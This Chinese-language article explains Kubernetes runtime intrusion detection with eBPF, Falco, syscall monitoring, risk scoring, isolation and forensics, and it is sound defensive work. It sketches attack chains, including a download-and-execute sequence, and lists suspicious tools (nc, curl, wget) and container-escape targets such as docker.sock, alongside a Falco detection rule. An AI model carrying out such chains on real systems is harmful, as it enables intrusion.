容器运行时安全防护:Kubernetes环境下的入侵检测实践
一、为什么Kubernetes安全不能止步于镜像扫描
在Kubernetes生产环境中,安全防护通常按照“代码—镜像—集群—运行时”的路径建设。很多团队已经建立了镜像漏洞扫描、依赖检查、RBAC、Pod Security等机制,但一旦Pod真正运行起来,仍然可能存在一个容易被忽略的盲区:运行时到底发生了什么。
镜像扫描解决的是“这个软件包已知是否存在漏洞”,Admission解决的是“这个工作负载是否允许进入集群”,而运行时安全解决的问题则不同:
一个已经运行的容器,是否正在做它本来不应该做的事情?
例如,一个正常的Web容器通常只需要监听业务端口、读取配置文件、访问数据库。但如果该容器突然执行了 /bin/bash,读取 /etc/shadow,创建新的网络连接,修改系统二进制,访问容器运行时Socket,或者尝试挂载宿主机文件系统,这些行为本身就具有明显的安全信号。
CNCF Cloud Native Security Whitepaper明确指出,运行时环境需要从进程、文件和网络多个维度进行监控,同时应该限制允许使用的Capabilities和系统调用,并监控关键挂载点与文件变化。([CNCF TAG Security][1])
这也是容器运行时安全和传统漏洞扫描最大的区别:
安全阶段 | 核心问题 | 典型手段 |
|---|---|---|
源代码 | 有没有代码缺陷 | SAST、代码审计 |
依赖 | 是否存在已知漏洞 | SCA |
镜像 | 镜像是否存在漏洞/恶意组件 | 镜像扫描、签名 |
部署 | 是否违反安全策略 | Admission、RBAC、PSS |
运行时 | 进程正在做什么 | eBPF、系统调用监控 |
响应 | 发生攻击后怎么办 | 告警、隔离、阻断、取证 |
因此,真正成熟的Kubernetes安全体系,不应该把运行时安全理解为“再装一个安全软件”,而应该建立一条完整的:
可见性 → 行为检测 → 风险判断 → 告警 → 自动响应 → 取证恢复
安全闭环。
二、容器运行时到底需要“看见”什么
容器并不是一台独立的虚拟机。
Linux容器本质上依赖Namespace、Cgroups、Capabilities、Seccomp等内核机制实现隔离。多个容器共享宿主机Linux Kernel,因此一旦容器内部出现恶意行为,安全边界最终仍然落在宿主机内核以及容器运行时的隔离机制上。
CNCF也特别强调,容器共享宿主机Kernel,因此Kernel漏洞、容器逃逸以及宿主机权限提升都可能造成跨容器甚至宿主机层面的影响。([CNCF][2])
运行时检测至少应该覆盖以下几类数据。
1. 进程行为
进程是运行时安全最重要的观测对象之一。
例如:
Pod
└── Container
└── PID 1
├── nginx
├── worker
└── unexpected shell
正常的Nginx容器可能长期只运行:
/usr/sbin/nginx
如果突然出现:
/bin/bash
/bin/sh
/curl
/wget
/python
/nc
就应该产生风险信号。
尤其是以下行为值得重点关注:
Web进程派生Shell;
应用进程启动网络工具;
容器内突然出现挖矿程序;
进程执行不属于镜像的软件;
进程从/tmp、/dev/shm等临时目录执行;
容器中出现反向连接行为;
进程尝试访问宿主机敏感路径。
单独一个Shell并不一定意味着入侵。例如运维人员可能执行:
kubectl exec -it pod/demo -- /bin/sh
所以检测系统不能简单采用“发现bash就报警”的规则,而应该把进程、身份、Pod、时间、命名空间、父子进程关系结合起来分析。
三、系统调用:运行时检测的核心数据源
容器中的进程最终需要通过Linux系统调用与Kernel交互。
例如:
Application
|
v
syscall
|
v
Linux Kernel
|
+---- file
+---- process
+---- network
+---- namespace
+---- socket
因此,如果希望观察容器真实的运行行为,仅仅收集应用日志远远不够。
应用日志告诉你:
“应用认为自己发生了什么。”
系统调用则更加接近:
“Kernel实际上允许它做了什么。”
典型系统调用包括:
execve()
openat()
connect()
accept()
bind()
clone()
setuid()
mount()
ptrace()
chmod()
unlink()
例如:
nginx
|
+-- openat("/etc/nginx/nginx.conf")
+-- accept()
+-- read()
+-- write()
正常
如果突然出现:
nginx
|
+-- execve("/bin/bash")
|
+-- curl
+-- wget
+-- chmod
+-- connect()
那么安全系统就可以根据这一行为链判断:
Web服务进程发生了异常进程执行,并进一步产生网络行为。
这比单纯扫描容器镜像的效果更直接。
四、eBPF为什么成为容器运行时安全的重要技术
过去的Linux运行时安全产品大量依赖内核模块、ptrace、audit等机制,而近年来eBPF逐渐成为云原生运行时可观测和安全检测的重要技术路线。
eBPF允许程序以受控方式运行在Linux Kernel中,并从系统调用、网络、进程等内核事件获取数据。
典型架构可以设计为:
Kubernetes Cluster
|
+--------------+--------------+
| | |
Node A Node B Node C
| | |
eBPF Agent eBPF Agent eBPF Agent
| | |
+--------------+--------------+
|
Event Pipeline
|
+---------+---------+
| |
Rule Engine Risk Engine
| |
+---------+---------+
|
Alert / Response
以Falco为代表的开源运行时安全方案,就是通过Linux Kernel事件观察容器运行时行为,并根据规则检测异常活动。CNCF对容器运行时安全的介绍也将Falco作为典型案例,指出其可以利用eBPF获取系统调用数据,再根据规则进行检测。([CNCF][3])
eBPF的优势主要体现在三个方面。
第一,观测位置更靠近Kernel
相比应用层日志,eBPF可以观察更底层的事件。
第二,对应用侵入较小
通常不需要修改业务代码,也不需要在每个应用中嵌入安全SDK。
第三,可以关联容器身份
现代容器安全系统并不是只告诉你:
PID 18342 executed /bin/bash
而应该进一步映射为:
cluster=prod
node=node-03
namespace=payment
pod=payment-api-7d9c
container=api
uid=1000
process=/bin/bash
parent=java
这才是Kubernetes环境真正有价值的安全上下文。
五、从“规则匹配”走向“行为检测”
运行时入侵检测最容易犯的错误,就是建立大量孤立规则。
例如:
发现 bash → 告警
发现 curl → 告警
发现 /tmp → 告警
发现 connect → 告警
这种方式很快就会产生大量误报。
更合理的方法是建立行为基线。
假设一个支付API容器的正常行为是:
java
├── openat()
├── connect(mysql)
├── connect(redis)
└── listen(8080)
如果突然变成:
java
└── bash
└── curl
└── connect(external-ip)
风险显著提升。
因此可以将检测模型抽象为:
Risk =
ProcessAnomaly
+ FileAnomaly
+ NetworkAnomaly
+ PrivilegeAnomaly
+ ContainerContext
+ IdentityContext
例如:
type RuntimeEvent struct {
Cluster string
Namespace string
Pod string
Container string
PID int
Process string
Parent string
EventType string
Path string
Destination string
UID int
Timestamp time.Time
}
type RiskScore struct {
Score int
Reasons []string
}
规则引擎可以进一步实现:
func Evaluate(e RuntimeEvent) RiskScore {
score := 0
var reasons []string
if e.Process == "/bin/bash" && e.Parent == "java" {
score += 40
reasons = append(reasons, "application spawned shell")
}
if e.EventType == "connect" && IsUnknownDestination(e.Destination) {
score += 20
reasons = append(reasons, "unknown outbound connection")
}
if e.EventType == "mount" {
score += 50
reasons = append(reasons, "mount operation detected")
}
return RiskScore{
Score: score,
Reasons: reasons,
}
}
这里最重要的并不是代码本身,而是设计思想:
不要把单个事件直接等价成攻击,而应该将多个低置信度事件组合成一个高置信度攻击链。
六、重点检测哪些容器攻击行为
1. 容器内执行Shell
这是最常见的运行时异常之一。
例如:
Web Server
↓
RCE
↓
/bin/sh
↓
curl
↓
download malware
如果Web应用本身正常情况下从不启动Shell,那么:
parent = nginx
child = /bin/sh
就是一个非常有价值的检测信号。
但不能直接把所有Shell都判定为攻击,因为运维人员也可能通过kubectl exec进入容器。
因此应进一步结合:
Kubernetes API审计日志;
操作者身份;
ServiceAccount;
exec时间;
Pod环境;
父进程;
TTY;
命令内容。
形成事件关联。
2. 下载并执行未知程序
典型攻击链:
process
|
+-- curl http://x.x.x.x/a
|
+-- chmod +x /tmp/a
|
+-- /tmp/a
如果业务容器从来不需要动态下载程序,这种行为风险非常高。
因此可以建立规则:
网络下载
+
新文件创建
+
权限修改
+
新进程执行
四个事件组合之后,风险等级明显高于单独一个curl。
3. 容器逃逸
容器逃逸是运行时安全最需要关注的场景之一。
攻击者一旦从容器获得宿主机权限,影响范围可能从一个Pod扩大到整个Node。
重点监控:
mount
ptrace
setns
unshare
nsenter
/dev
/proc
/sys
/var/run
container runtime socket
尤其需要关注:
/var/run/docker.sock
以及其他容器运行时Socket。
如果一个普通业务Pod能够访问容器运行时Socket,本身就是高风险配置。
因为一旦攻击者取得该Socket的控制能力,可能进一步操作宿主机上的容器。
七、Kubernetes安全上下文必须成为运行时检测的一部分
运行时安全并不是单纯安装一个eBPF Agent。
Kubernetes本身已经提供了大量降低攻击面的能力。
例如:
apiVersion: v1
kind: Pod
metadata:
name: secure-app
spec:
securityContext:
runAsNonRoot: true
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: example/app:1.2.3
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
这些配置分别限制:
root身份
↓
权限提升
↓
Linux capabilities
↓
文件系统写入
↓
系统调用
Kubernetes当前的Pod Security Standards定义了Privileged、Baseline和Restricted三个安全级别,其中Restricted针对高安全要求场景提供更加严格的Pod限制。([Kubernetes][4])
Kubernetes官方安全检查清单也建议在适用节点上启用Seccomp,并使用AppArmor或SELinux等机制,同时对Pod Security Standards进行强制执行。([Kubernetes][5])
所以,一个比较合理的防御模型应该是:
Kubernetes Security
|
+--------------+--------------+
| | |
Admission Runtime Network
| | |
PSS eBPF/Falco NetworkPolicy
| | |
+--------------+--------------+
|
Response
八、从检测到隔离:不要让告警停在SOC大屏
很多企业安全系统最大的缺陷不是“检测不到”,而是:
检测到了,然后发一条告警,结束。
对于Kubernetes而言,这远远不够。
运行时安全应该建立自动响应能力。
典型响应链:
Runtime Event
↓
Risk Engine
↓
High Risk?
/ \
No Yes
| |
Alert Response
|
+-----+------+
| |
Network Workload
Isolation Isolation
1. 网络隔离
如果Pod疑似被入侵,第一反应通常不是立即删除。
因为删除Pod可能直接破坏现场。
更合理的第一步可能是限制其网络通信:
Pod
|
+-- deny ingress
|
+-- deny egress
|
+-- allow security collector
通过NetworkPolicy限制通信,可以减少攻击者继续横向移动的机会。
2. 隔离Node
如果怀疑Node本身已经被攻陷,可以使用:
kubectl cordon node-03
阻止新的Pod继续调度到该节点。
随后根据业务条件进行:
kubectl drain node-03
但这一步必须谨慎。
如果Node已经处于严重入侵状态,简单Drain并不能解决问题,因为攻击者可能已经获得宿主机权限。
此时更可靠的方案通常是:
发现Node异常
↓
停止业务调度
↓
保存证据
↓
从集群隔离
↓
重新初始化Node
↓
恢复工作负载
也就是说,节点应该尽量采用不可变基础设施思路,而不是在被入侵之后长期“修补”。
九、为什么不能轻易自动删除Pod
自动响应设计中有一个非常容易踩坑的问题:
发现异常
↓
kubectl delete pod
看起来很爽,但实际上可能造成严重后果。
例如攻击者利用Web漏洞执行了:
bash
curl
/tmp/malware
安全系统检测到后立即删除Pod。
结果:
攻击证据丢失
进程信息丢失
文件现场丢失
网络连接信息丢失
更麻烦的是,如果Pod由Deployment管理:
delete pod
↓
ReplicaSet
↓
new pod
攻击者可能利用同样的应用漏洞再次入侵。
因此生产环境更合理的响应策略是分级的。
风险 | 响应 |
|---|---|
低 | 记录 |
中 | 告警 |
高 | 限制网络 |
严重 | 隔离Pod/Node |
确认入侵 | 保全证据后销毁并重建 |
十、运行时安全平台的推荐架构
一个企业级Kubernetes运行时安全系统,可以采用下面的架构:
Kubernetes API
|
Audit Log
|
v
+--------------------------------------------------+
| Security Control Plane |
| |
| Event Correlator → Risk Engine → Policy Engine |
| | | | |
| | | +---- Response
| | | |
| +------------ Alert ---------------------+
| |
+--------------------------+-----------------------+
|
Message Queue
|
+----------------+----------------+
| | |
Node1 Node2 Node3
| | |
eBPF Agent eBPF Agent eBPF Agent
| | |
Kernel Kernel Kernel
| | |
Containers Containers Containers
其中可以分成四层。
第一层:采集层
负责收集:
系统调用;
进程;
文件;
网络;
容器元数据;
Kubernetes事件;
Kubernetes Audit Log。
第二层:检测层
负责:
规则匹配;
基线检测;
异常行为分析;
攻击链关联;
风险评分。
第三层:响应层
负责:
告警;
NetworkPolicy;
Pod隔离;
Node隔离;
禁止调度;
工作负载重建。
第四层:取证层
保存:
Pod metadata
Container ID
Image digest
Process tree
Command line
File events
Network events
Kubernetes audit events
Node information
Timestamp
这样发生安全事件后,才能回答:
谁,在什么Pod中,通过什么方式,执行了什么操作,最终访问了什么资源?
十一、检测规则不要只看“命令”,更要看上下文
例如:
kubectl exec
↓
/bin/sh
这不一定是攻击。
但是:
外部攻击
↓
Web RCE
↓
nginx
↓
/bin/sh
↓
curl
↓
下载程序
↓
chmod
↓
执行
这就是完整攻击链。
因此建议把事件模型设计成:
type SecurityContext struct {
Cluster string
Namespace string
Pod string
Container string
ServiceAccount string
Image string
ImageDigest string
User string
Node string
}
type SecurityEvent struct {
Context SecurityContext
Timestamp time.Time
EventType string
Process string
ParentProcess string
FilePath string
Destination string
Severity int
}
然后通过时间窗口聚合:
T0 nginx exec /bin/sh
T1 shell exec curl
T2 curl connect 8.8.8.8:443
T3 create /tmp/a
T4 chmod /tmp/a
T5 exec /tmp/a
最终生成:
Incident #20260828-001
Risk: Critical
Attack Chain:
Web Process
→ Shell
→ Network Download
→ Temporary File
→ Permission Change
→ Execution
这种结果对安全运营人员的价值远高于几十条互相独立的日志。
十二、Falco等工具应该怎么用
Falco适合承担“运行时事件检测”这一层,而不应该被理解成完整的Kubernetes安全平台。
典型规则思想类似:
- rule: Shell Spawned by Web Process
desc: Detect shell execution from a web process
condition: >
spawned_process
and proc.name in (bash, sh)
and proc.pname in (nginx, httpd, java)
output: >
Web process spawned shell
container=%container.name
pod=%k8s.pod.name
process=%proc.cmdline
priority: WARNING
真正生产环境中,规则还需要进一步考虑:
容器名称;
Namespace;
ServiceAccount;
镜像;
父进程;
用户;
网络目标;
时间窗口;
业务白名单。
否则规则很容易变成“报警制造器”。
CNCF关于容器安全的实践建议也明确把容器活动监控作为重要组成部分,包括对控制节点、容器引擎、工作负载以及网络等基础设施进行持续观察。([CNCF][2])
十三、不要忽视Kubernetes Audit Log
运行时系统调用解决的是:
容器内部发生了什么?
Kubernetes Audit Log解决的是:
谁通过Kubernetes API做了什么?
两者结合非常重要。
例如:
Audit Log:
user=alice
verb=create
resource=pods/exec
namespace=prod
Runtime:
pod=payment-api
process=/bin/bash
两个事件关联之后,安全系统可以知道:
Alice
↓
kubectl exec
↓
payment-api
↓
/bin/bash
如果Runtime层发现Shell执行,但Audit Log没有对应的合法运维行为,就应该提高风险等级。
因此生产环境推荐形成:
Kubernetes Audit
+
Runtime Events
+
Identity
+
Network
=
Incident Context
Kubernetes安全实践同样建议启用Audit Logging,并重点监控异常API调用以及授权失败事件。([CNCF][6])
十四、运行时检测与Pod Security不是替代关系
一个常见误区是:
“已经使用Restricted Pod Security Standard,就不需要运行时安全了。”
这是错误的。
Pod Security主要解决的是:
Pod能不能这样创建?
运行时安全解决的是:
Pod运行之后实际做了什么?
例如一个Pod完全符合安全策略:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
但是应用本身仍然可能存在RCE:
HTTP Request
↓
Application Vulnerability
↓
Arbitrary Code Execution
↓
curl
↓
Data Exfiltration
这时候Admission已经完成了自己的任务,但运行时检测仍然必须工作。
因此:
PSS
↓
减少初始攻击面
Runtime Security
↓
检测运行中的异常行为
NetworkPolicy
↓
限制横向移动
RBAC
↓
限制控制面权限
Audit
↓
追踪API行为
这些控制是互补关系,而不是互相替代。
十五、企业生产环境的一套落地方案
如果从零建设Kubernetes运行时安全,不建议第一天就做几十条自动阻断规则。
更合理的实施路径是四阶段。
第一阶段:只采集,不阻断
部署Runtime Agent:
Node
└── Runtime Security Agent
├── Process
├── File
├── Network
└── Syscall
先运行2~4周,建立正常行为基线。
重点回答:
哪些进程正常?
哪些网络访问正常?
哪些Pod经常执行Shell?
哪些Namespace存在高风险配置?
第二阶段:高置信度规则告警
优先检测:
容器访问runtime socket
容器执行mount
容器修改关键系统文件
应用进程派生Shell
异常下载并执行程序
容器访问宿主机敏感路径
异常特权行为
这些行为通常具有较高安全价值。
第三阶段:自动隔离
只针对高置信度事件自动响应。
例如:
Risk >= 90
↓
Network Isolation
↓
Notify SOC
↓
Collect Evidence
而不是直接:
Risk >= 50
↓
Delete Pod
第四阶段:建立攻击链分析
最后把单事件升级成Incident:
Initial Access
↓
Execution
↓
Persistence
↓
Discovery
↓
Lateral Movement
↓
Exfiltration
这时候运行时安全平台才真正从“日志采集器”升级成“入侵检测系统”。
十六、一个值得长期坚持的原则:运行时安全必须可验证
安全系统不能只问:
“我们有没有部署Falco/eBPF?”
真正应该问:
“如果攻击发生,我们能不能在几分钟内发现?”
可以建立定期安全验证机制。
例如在测试集群中模拟:
容器执行Shell
容器访问敏感文件
容器启动异常网络连接
容器创建异常进程
容器尝试mount
容器访问runtime socket
然后验证:
事件是否采集?
↓
规则是否触发?
↓
Pod身份是否正确?
↓
告警是否进入SOC?
↓
自动响应是否执行?
↓
证据是否保存?
这实际上就是运行时安全的“单元测试”。
没有验证的安全控制,很容易停留在架构图上。
十七、结语:运行时安全的核心不是“监控容器”,而是理解攻击行为
Kubernetes把应用部署、调度和扩缩容变得非常自动化,但这种自动化也让安全边界更加动态。
一个Pod可能几十秒内创建,又可能因为Deployment滚动升级而被重新创建;一个攻击者也可能只需要一次RCE,就能从业务容器进一步探索ServiceAccount、网络、Secrets甚至宿主机。
因此,容器运行时安全不能只围绕“漏洞”展开,而应该围绕行为展开。
真正有效的运行时防护体系应该形成:
Kubernetes Security
|
+-----------------+-----------------+
| | |
Prevention Detection Response
| | |
| Runtime |
| eBPF/Falco |
| | |
PSS/RBAC Process/File/Net |
Seccomp Syscall/Event |
NetworkPolicy | |
| +--------+-------+
| |
+--------------------------+
|
Incident Response
|
+-------------+-------------+
| | |
Isolate Forensics Rebuild
其中最重要的一点,是不要把运行时安全理解成“再增加一层告警”。
它真正解决的是传统Kubernetes安全体系中的一个关键问题:
当攻击者已经进入容器之后,我们还能不能看见他?
如果能看到进程、系统调用、文件、网络连接以及Kubernetes身份,就能够从孤立事件中还原攻击链;如果进一步把检测结果与NetworkPolicy、Pod隔离、Node隔离和不可变基础设施结合起来,就能够把安全体系从“发现问题”推进到“限制攻击”。
Kubernetes官方安全检查清单同样强调,安全策略需要覆盖Pod安全、RBAC、Seccomp、AppArmor/SELinux等多个层面,而不是依赖单一控制措施。([Kubernetes][5])
最终,一个成熟的云原生安全体系应该做到:
部署前限制风险,运行中发现异常,攻击发生时快速隔离,事件结束后可验证、可取证、可重建。
这才是Kubernetes环境下真正有价值的容器运行时安全。
参考资料
Kubernetes Documentation — Pod Security Standards:Kubernetes官方Pod Security Standards文档 ([Kubernetes][4])
CNCF TAG Security — Cloud Native Security Whitepaper:CNCF Cloud Native Security Whitepaper ([CNCF TAG Security][1])
CNCF — Introduction: what is container runtime security?:CNCF容器运行时安全介绍 ([CNCF][3])
[1]: https://tag-security.cncf.io/community/resources/security-whitepaper/v2/cloud-native-security-whitepaper/?utm_source=chatgpt.com "Cloud Native Security Whitepaper | CNCF TAG Security"
[2]: https://www.cncf.io/blog/2022/11/14/container-security-what-it-is-and-how-to-implement-it/?utm_source=chatgpt.com "Container Security: what it is and how to implement it | CNCF"
[3]: https://www.cncf.io/blog/2023/09/08/introduction-what-is-container-runtime-security/?utm_source=chatgpt.com "Introduction: what is container runtime security? | CNCF"
[4]: https://kubernetes.io/docs/concepts/security/pod-security-standards/?utm_source=chatgpt.com "Pod Security Standards | Kubernetes"
[5]: https://kubernetes.io/docs/concepts/security/security-checklist/?trk=public_post_comment-text&utm_source=chatgpt.com "Security Checklist | Kubernetes"
[6]: https://www.cncf.io/blog/2019/01/14/9-kubernetes-security-best-practices-everyone-must-follow/?utm_source=chatgpt.com "9 Kubernetes security best practices everyone must follow | CNCF"